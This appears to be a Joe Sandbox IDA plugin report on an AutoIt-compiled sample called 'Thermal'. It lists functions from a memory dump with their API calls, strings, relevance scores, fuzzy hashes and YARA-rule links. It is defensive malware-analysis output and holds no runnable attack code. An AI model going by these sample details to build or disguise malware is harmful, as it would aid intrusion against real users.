Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: c8b96d42bf30c53fb7b79b423fc8e4ccbeb9b0e2a3a725e35412635fa1a9a921
Instruction ID: b3d778b307009eb3a641c34f5cb1ee7752f1688217961dc24f627ce76caed2df
Opcode Fuzzy Hash: c8b96d42bf30c53fb7b79b423fc8e4ccbeb9b0e2a3a725e35412635fa1a9a921
Instruction Fuzzy Hash: 23F0B7715452957AFA222B676C88E6B7E7DD7CAF50F00011ABA04AA5A0C7611891DAB0

Function 00189B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00134A8C: _fseek.LIBCMT ref: 00134AA4

Part of subcall function 00189CF1: _wcscmp.LIBCMT ref: 00189DE1
Part of subcall function 00189CF1: _wcscmp.LIBCMT ref: 00189DF4

_free.LIBCMT ref: 00189C5F
_free.LIBCMT ref: 00189C66
_free.LIBCMT ref: 00189CD1

Part of subcall function 00142F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00149C54,00000000,00148D5D,001459C3), ref: 00142F99
Part of subcall function 00142F85: GetLastError.KERNEL32(00000000,?,00149C54,00000000,00148D5D,001459C3), ref: 00142FAB

_free.LIBCMT ref: 00189CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00189B8F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 4d692006f9789f6892126afa155f0bf7d8c8c90fff29cb7e9a48e3afbe1d8126
Instruction ID: 094bdfce3e484bf51cd108a087c40bf1d981b3955433a9d22590db7b120d2dfc
Opcode Fuzzy Hash: 4d692006f9789f6892126afa155f0bf7d8c8c90fff29cb7e9a48e3afbe1d8126
Instruction Fuzzy Hash: A2513BB1D04219AFDF24EF64DC81AAEBBB9FF48304F10049EF649A3251DB715A848F58

Function 0014563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0014569B
_memcpy_s.LIBCMT ref: 0014570D
__read_nolock.LIBCMT ref: 0014576B
__filbuf.LIBCMT ref: 0014578E
_memset.LIBCMT ref: 001457D2

Part of subcall function 00148D58: __getptd_noexit.LIBCMT ref: 00148D58

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: 4fa914d2777cff82ed485fbfca143469a45135d91423b3a96f363e249250eaf2
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: A051C330A00B05DBDB288FA9C88066E77B7EF50325FA58739F835962F2D7709D519B50

Function 001252B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001252E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0012534A
TranslateMessage.USER32(?), ref: 00125356
DispatchMessageW.USER32(?), ref: 00125360

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 3bea7a1c9495c364d8b4800a4394bd569f9c437ad4dfb187295095bcad492ba5
Instruction ID: 093785d8eb6f9051a69533bb7622a5697535881395d49a7414fe54a5d6a774dc
Opcode Fuzzy Hash: 3bea7a1c9495c364d8b4800a4394bd569f9c437ad4dfb187295095bcad492ba5
Instruction Fuzzy Hash: B2311430908B56DBFB30CBA4BCC4BAA77E9AB01344F11105AF5228A5D1D7B1A899E711

Function 00121284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00121275,SwapMouseButtons,00000004,?), ref: 001212A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00121275,SwapMouseButtons,00000004,?), ref: 001212C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00121275,SwapMouseButtons,00000004,?), ref: 001212EB

Strings

Control Panel\Mouse, xrefs: 001212A6

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 387f0e37609ea00a9ec064b688877a97c0c4dc4008dd5617fff0e840eef93896
Instruction ID: c4f57ba21313695ad6dab204e63d9ab4553a9d4afc63dd1d9cf460048740a2dc
Opcode Fuzzy Hash: 387f0e37609ea00a9ec064b688877a97c0c4dc4008dd5617fff0e840eef93896
Instruction Fuzzy Hash: 41114571614228FFDB21CFA5EC84AAFBBA8EF14750F104569F805D7210E331AE509BA0

Function 00183F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,001B2C4C), ref: 00183F57
GetLastError.KERNEL32 ref: 00183F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00183F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,001B2C4C), ref: 00183FD2

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 5ff2f9448f79861430eb55f452221ea04a85b469dad01c0eaa95ec4b2dc41d75
Instruction ID: fac43bbaf491d11481efd9fe259f6ef816940c2abf762aa8a12f8b0bf326ce01
Opcode Fuzzy Hash: 5ff2f9448f79861430eb55f452221ea04a85b469dad01c0eaa95ec4b2dc41d75
Instruction Fuzzy Hash: 62217E709082019FC604EF28C8858AAB7F4BF59764F144A19F5A5C72A2DB30DA4ACF93

Function 00135B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00135B58

Part of subcall function 001356F8: _memset.LIBCMT ref: 00135787
Part of subcall function 001356F8: _wcscpy.LIBCMT ref: 001357DB
Part of subcall function 001356F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 001357EB

KillTimer.USER32(?,00000001,?,?), ref: 00135BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00135BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00170D7C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: f4187bf617821b8fa5e71524db5a28967b3f19b013d8d231f5d5dff593eb0346
Instruction ID: b6b042a17ef5072268750f2f8dfe427c4bda34622d081f62578a997f95c2c07e
Opcode Fuzzy Hash: f4187bf617821b8fa5e71524db5a28967b3f19b013d8d231f5d5dff593eb0346
Instruction Fuzzy Hash: 2121C5705047849FEB738B64C895BEBFBEDAF09708F04448DE69E56181C7752984CB51

Function 0013278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 001349C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,001327AF,?,00000001), ref: 001349F4

_free.LIBCMT ref: 0016FB04
_free.LIBCMT ref: 0016FB4B

Part of subcall function 001329BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00132ADF

Strings

Bad directive syntax error, xrefs: 0016FB33

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: b3b6ad4c44d02ab817c65c0553f853e00581fb41318785a9d930da62f4629fbd
Instruction ID: 3d05b0fdb9baca6e2e0881f7d29b05c3da1701f4296bef1db9448f0fb7151c1e
Opcode Fuzzy Hash: b3b6ad4c44d02ab817c65c0553f853e00581fb41318785a9d930da62f4629fbd
Instruction Fuzzy Hash: DB916F71910219AFCF08EFA4DC919EEB7B4FF19314F14456EF816AB2A1DB30AA15CB50

Function 00189CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00134AB2: __fread_nolock.LIBCMT ref: 00134AD0

_wcscmp.LIBCMT ref: 00189DE1
_wcscmp.LIBCMT ref: 00189DF4

Strings

FILE, xrefs: 00189D2D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 42b11e085f5af563a1c2849f3b123967b607cb40c0ba534a0d16e372716d2ad7
Instruction ID: 2514e6e12de264d65b533f5dd384ea0c501026b7a8d8aece29a795bd29f2a553
Opcode Fuzzy Hash: 42b11e085f5af563a1c2849f3b123967b607cb40c0ba534a0d16e372716d2ad7
Instruction Fuzzy Hash: C2410971A40209BBDF21EAA4CC45FEF7BFDEF55710F00046AF901A7291D771AA048BA4

Function 001331BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0017032B
GetOpenFileNameW.COMDLG32(?), ref: 00170375

Part of subcall function 00140284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00132A58,?,00008000), ref: 001402A4

Part of subcall function 001409C5: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 001409E4

Strings

X, xrefs: 00170343

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 1b92728ea4224283657a82aa4ceb9b37700c0a5fa9debcc48f6f5480acd74f18
Instruction ID: 5f22a179b0dec17a2d58a5467e99b1ef9d41a369c3634c62f46e9a1b1d2a1626
Opcode Fuzzy Hash: 1b92728ea4224283657a82aa4ceb9b37700c0a5fa9debcc48f6f5480acd74f18
Instruction Fuzzy Hash: 7A219371A042989BDF41DF98C845BEE7BFCAF59304F00405AF518A7281DBB55A89CFA1

Function 0019D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7c298362cf8cba9f1260c6a36303e82d51348df0cddc562ba711484ce536e8
Instruction ID: 32896f4558361ce25d795d76039f791f96f1656996b56ad526d6a11f5c7e4ddd
Opcode Fuzzy Hash: 4a7c298362cf8cba9f1260c6a36303e82d51348df0cddc562ba711484ce536e8
Instruction Fuzzy Hash: A3F14971A083019FCB14DF28D484A6ABBE5FF98314F55892EF8999B351D730E945CF82

Function 0012AAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 001407BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 001407EC
Part of subcall function 001407BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 001407F4
Part of subcall function 001407BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 001407FF
Part of subcall function 001407BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 0014080A
Part of subcall function 001407BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 00140812
Part of subcall function 001407BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 0014081A

Part of subcall function 0013FF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0012AC6B), ref: 0013FFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0012AD08
OleInitialize.OLE32(00000000), ref: 0012AD85
CloseHandle.KERNEL32(00000000), ref: 00162F56

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: a14f31fd60a02603fc1ec95b2ce8b4c571854a2d444bb087ee65ba0dc4061322
Instruction ID: e0a541ad6ecc00acd8f85b60c34726b92562e5e790d9f0b8686fb4b27c7ea958
Opcode Fuzzy Hash: a14f31fd60a02603fc1ec95b2ce8b4c571854a2d444bb087ee65ba0dc4061322
Instruction Fuzzy Hash: E281ABB09086C48EE38AEFAABEC465D7FE5FB58304710856AE419DBAF1E7304485CF51

Function 001359D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001359F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00135A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00135ABB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 803312d0ae40d123fdb320495a29cb4999d838cb2331436b13f76202dd3e7224
Instruction ID: 6698d7bb1dc6965e31abe558acb5e16f32795a44170f5ea3a9e5531a5dcb951d
Opcode Fuzzy Hash: 803312d0ae40d123fdb320495a29cb4999d838cb2331436b13f76202dd3e7224
Instruction Fuzzy Hash: 743182B0505B018FD725DF74D8C569BBBF8FB58704F000A2EF69A87290E771A984DB52

Function 0014593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00145953

Part of subcall function 0014A39B: __NMSG_WRITE.LIBCMT ref: 0014A3C2
Part of subcall function 0014A39B: __NMSG_WRITE.LIBCMT ref: 0014A3CC

__NMSG_WRITE.LIBCMT ref: 0014595A

Part of subcall function 0014A3F8: GetModuleFileNameW.KERNEL32(00000000,001E53BA,00000104,00000004,00000001,00141003), ref: 0014A48A
Part of subcall function 0014A3F8: ___crtMessageBoxW.LIBCMT ref: 0014A538

Part of subcall function 001432CF: ___crtCorExitProcess.LIBCMT ref: 001432D5
Part of subcall function 001432CF: ExitProcess.KERNEL32 ref: 001432DE

Part of subcall function 00148D58: __getptd_noexit.LIBCMT ref: 00148D58

RtlAllocateHeap.NTDLL(010D0000,00000000,00000001,?,00000004,?,?,00141003,?), ref: 0014597F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: bca4931a23b63b58b12e5961c3db336bf954116403c9802ce3357d28622ceaeb
Instruction ID: e0246379eba19fb90469eb83b47f32fcbfbad3db0df5052d943b4252c63f303e
Opcode Fuzzy Hash: bca4931a23b63b58b12e5961c3db336bf954116403c9802ce3357d28622ceaeb
Instruction Fuzzy Hash: E301F131342B42EBE7153BA4DC42A2E334AAF62778F510536F525AE1F2DF708D414761

Function 001892C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001892D6

Part of subcall function 00142F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00149C54,00000000,00148D5D,001459C3), ref: 00142F99
Part of subcall function 00142F85: GetLastError.KERNEL32(00000000,?,00149C54,00000000,00148D5D,001459C3), ref: 00142FAB

_free.LIBCMT ref: 001892E7
_free.LIBCMT ref: 001892F9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: 3ef410a947688bed710ca2984bc55ad94f4dfc8e6f6eed162b90e30975ad7283
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 65E0C2A120462253CA20B5386C40EA377EC0F88391798050DF409D3142CF70F8808628

Function 00125E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 0015E234

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 415bc1ceb0a39b447ffd2e7e01daedce88e26ac405aa0f32da1ec9c1497a6048
Instruction ID: 4c7608d56422963c86d821b8743ad0d0fc88740bfba4fd2abcf6d4c5be0504e1
Opcode Fuzzy Hash: 415bc1ceb0a39b447ffd2e7e01daedce88e26ac405aa0f32da1ec9c1497a6048
Instruction Fuzzy Hash: 1B326A70508351DFCB28DF14D490A2AB7E1BF94304F15896DF89A9B3A2D731EDA5CB82

Function 001348B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001348FA

Strings

EA06, xrefs: 001708A1

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 6b393f4b6032de5e33068d7c6f6c7bec10c56a3dae60fc4a8bcf97700ea7af04
Instruction ID: 1445bc240ccc83987fa9e2caa3663a42b1d7c7c3e55cf60295ebe8d740a8ed43
Opcode Fuzzy Hash: 6b393f4b6032de5e33068d7c6f6c7bec10c56a3dae60fc4a8bcf97700ea7af04
Instruction Fuzzy Hash: 9041B021E042589BDF269B548C517BF7FB19B5D324F294075F886E7286C720AD84C3E2

Function 0019E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0019E20C

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

_wcscpy.LIBCMT ref: 0019E29B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
